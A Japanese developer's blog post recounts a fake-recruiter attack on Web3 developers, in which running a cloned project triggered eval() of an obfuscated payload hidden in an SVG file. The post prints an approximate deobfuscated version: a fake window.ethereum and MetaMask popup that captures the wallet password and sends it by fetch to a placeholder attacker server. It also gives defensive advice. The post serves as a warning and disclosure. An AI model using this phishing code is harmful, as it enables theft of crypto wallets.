Zenn
💭

Web3開発者をねらったハッキング手口の全て(わたしは全て抜かれました...)

2025/02/27に公開2
9

はじめに

本当に悔しいし許せないし、エンジニアとして不甲斐ないです。2025年2月26日に被害にあいましたが、どのように相手と繋がり、どのような手口でハッカーに資産を抜かれたか、コードベースで全てお伝えします。今後同じ被害に遭う方が少しでも減ることがあればこんな嬉しいことはないです。
ハッカーとの出会いからハッキングされるに至ったコード解説、さらに対策案を書いていきます。もし他に良い対策案などあればコメントでご教示ください。

ハッカーとのやりとりの流れ

ハッカーとは Linkedin ブロックチェーンを使ったプロジェクトを手伝ってくれないかという連絡がりそこからやりとりが始まりました。そして移行の大まかな流れは下記のような感じです。

  1. Linkedinでプロジェクトを手伝ってほしいと言う内容でDMがくる
  2. Githubリポを見て実装できそうか確認してほしいと言われる
  3. 自分のGithubアカウントを共有してプライベートリポジトリに招待される
  4. プロジェクトの概要の確認のために、一度ローカルで立ち上げてUIクローンして立ち上げてみてといわれる
  5. 言われるがまま、(1)クローン (2)npm install (3)npm run dev -> ここで悪意のあるJavascriptが実行される(後述)
  6. その後、実際にGoogle Meetでプロジェクトのこと話したいということで、招待を送ってくれと言われる(そもそも招待を送ってこなかったところが怪しい)
  7. Meetではプロジェクト概要説明のため画面共有しながら先方から共有してきたURLにアクセスしてプロジェクトを確認(ローカルで立ち上げたときのUIと同じ)
  8. ここで少し怪しいと思い、「なぜそちらで共有しないんだ」と言うと会話が英語でよくわからないまま進んでしまった
  9. 進めていくと、Connect Walletしなければならないということになったので、それはしないと断った
  10. クリプトの世界でいきなりメタマスクをコネクトするのはおかしいと、この時は自分はまともなことを言っていた
  11. 相手はテストネットだから大丈夫だと言う
  12. 確かにそうかと思い、一度画面共有を解除してConnect Walletボタンを押下してパスワード入力
    した
  13. しかし、なかなかコネクトにならない
  14. 画面共有解除していたのが相手はもどかしい様子で、早く見せてくれという
  15. そこでおかしいとおもってメタマスクをよく見たらHTMLに組み込まれた偽のものだったことに気づく
  16. だが時既におそしで、そのブラウザのメタマスク拡張で管理していたものは根こそぎ全て抜かれていました

https://x.com/mameta_zk/status/1894767610556002581

ハッカーの手口は

まずは、ローカルでnpm run devやnpm startをさせてプロジェクトをローカルで立ち上げさせます。package.jsonのscriptを見てみると下記のコマンドが実行されていました。

どのようなコードが実行されたか追っていきます。ちなみにディレクトリ構造はこんな感じ。

npm start で実行されたもの

npm run startをしたことで実行されたもので特筆したいのは node server/app.js この部分。app.jsでは下記のコードが実行されており、なにやら util.assets 関数の戻り値であるdataをeval(data)している。eval()は文字列をJavaScriptコードとして実行する関数です。
(はい、evalがある時点で怪しさ満点でした。力不足で全然気づかなかった...)

さて、何が実行されたかをutil.assetsを追って確認すると下記のコード。

これはSVGファイルを読み込んでますが、SVGファイルは下記のようになっており難読化されています。

これをAIに解析してもらったところ丁寧に教えてくれました。

// 難読化を解除すると、おおよそこのような処理になります
(function() {
 // オリジナルのMetaMaskオブジェクトを保存
 const originalEthereum = window.ethereum;
 
 // window.ethereumを偽物に置き換え
 window.ethereum = {
   request: async function(params) {
     if (params.method === 'eth_requestAccounts') {
       // 偽のMetaMaskポップアップを表示
       const fakePopup = document.createElement('div');
       fakePopup.innerHTML = `
         <div class="metamask-popup">
           <input type="password" placeholder="Password" />
           <button>Unlock</button>
         </div>
       `;
       document.body.appendChild(fakePopup);
       
       // パスワード入力を待機
       const password = await new Promise(resolve => {
         fakePopup.querySelector('button').onclick = () => {
           resolve(fakePopup.querySelector('input').value);
         };
       });
       
       // 盗んだパスワードを攻撃者のサーバーに送信
       await fetch('https://攻撃者のサーバー/steal', {
         method: 'POST',
         body: JSON.stringify({ password })
       });
       
       // 本物のMetaMaskの処理を実行
       return originalEthereum.request(params);
     }
     return originalEthereum.request(params);
   }
 };
})();

とどのつまり、よく実装するときにもつかう window.ethereum これを偽造しています。
既存のフロントエンドコードを見てもwindow.ethereumを立ち上げているようにしか見えないのです。偽造されたwindow.ethereumの中ではAIさん曰く、

「パスワード入力」させて

// パスワード入力を待機
const password = await new Promise(resolve => {
  fakePopup.querySelector('button').onclick = () => {
    resolve(fakePopup.querySelector('input').value);
  };
});

取得したパスワードを攻撃者のサーバーに送信していると。

// 盗んだパスワードを攻撃者のサーバーに送信
await fetch('https://攻撃者のサーバー/steal', {
    method: 'POST',
    body: JSON.stringify({ password })
});

プロジェクト立ち上げ後に起こったこと

ここで、プロジェクトを立ち上げたことを確認してハッカーはMTGを申し込んできます。それに承諾して送られてきたパブリックなURLにアクセスするよう求められ、アクセスするとローカルで立ち上げたようなUIで立ち上がります。そしてConnect Walletしたときに、偽のwindow.ethereumを実行します。

src/utils/interact.js

ここで立ち上がったのは偽のMetaMaskポップアップ。

後の流れはこうです。

  1. 私が認証情報を入力
  2. それが攻撃者のサーバーに送信 (上記の偽のwindow.ethereumのコード)
  3. 攻撃者は盗んだMetaMaskのパスワードを使用して、ウォレットのシードフレーズにアクセス
  4. トークンの転送トランザクションに署名
  5. ウォレット内の資産を攻撃者のアドレスに転送

実際のトランザクション

Ethereum

https://etherscan.io/tx/0x24660791f47fa253f17e30ad96040aecde13525a1f96fc64f89cc686ff0d2cc0

https://etherscan.io/tx/0x5e7470996d277959218d292e63adbe7dae984ede6d8786029d6df2a1a2dd47b5

https://etherscan.io/tx/0xf993d9ae993b1c5c94ac60ead5b6b1caced5aba3c8abf53144158cfde174d669

Polygon

https://polygonscan.com/tx/0xf6e0d5329d57e48e8a4c28a34619000d81b4dc432b33e2e761d44ca46e2db61a

https://polygonscan.com/tx/0x8a4eb6f2e792e460995c7d9010a63cb7ca5c294d076a5773847587061383200f

https://polygonscan.com/tx/0x20047116dd5eabf0036cdda1870e084db870d5f678914f3c542795a99756a652

ちょうど最近、一部はカストディウォレットに移していたのが不幸中の幸い。。

対策案

じゃあどうしたら防げたのかというと、Xでいろいろな人からコメントもらったことや自分で考えたことを書きにまとめていきます。

  • npm install前にpackage.jsonとそのscriptコマンド、さらにそのコマンドで実行されるソースコードを読み込む
  • MetaMaskなどのウォレット操作は必ず公式の拡張機能を使用(そこは今回わかっていたけど)
  • eval()関数など文字列をJavascriptとして読み込む関数があれば怪しい
  • 開発用の専用ブラウザを準備して、資産管理のものとは分ける
  • Dockerの使用(ただし今回はフロントエンドコードでの手口で、結局ブラウザで実行されるため、Dockerによる保護はできないと思われる。上記のinteract.js参照のこと)

まとめ

以上が一連の流れと、コードの説明でした。エンジニアとして不甲斐ないですが、私自身ブロックチェーン業界には、「中央集権に依存することがなく、より個人の可能性を広げるものだ」という思想で入ってきているので、ブロックチェーンの汚い使い方は許せないなと。
この記事で少しでも多くの人への喚起にもなれれば幸いです。

9

Discussion

フシハラフシハラ

これって受け取ったgithubのレポジトリをそのままAIに投げて
「悪意のあるコードは含まれているか確認して下さい」的な事をお願いしたら見つけてくれますか?

このような事件の対処法として「怪しい人から受け取ったソースを実行しない」というのは完全に防げますが、
実際は今回のように相手が怪しいかを確実に判断するのは不可能だし、現実的とはちょっと言えないと思うので
そういう時に検知ができたかを知りたいです。

mameta_zkmameta_zk

これ、ぶん投げ出てAI見つけてくれます。実際この記事もAIに原因見つけてもらいながらまとめましたので。1回AI挟むのは定石になりそうですね

ログインするとコメントできます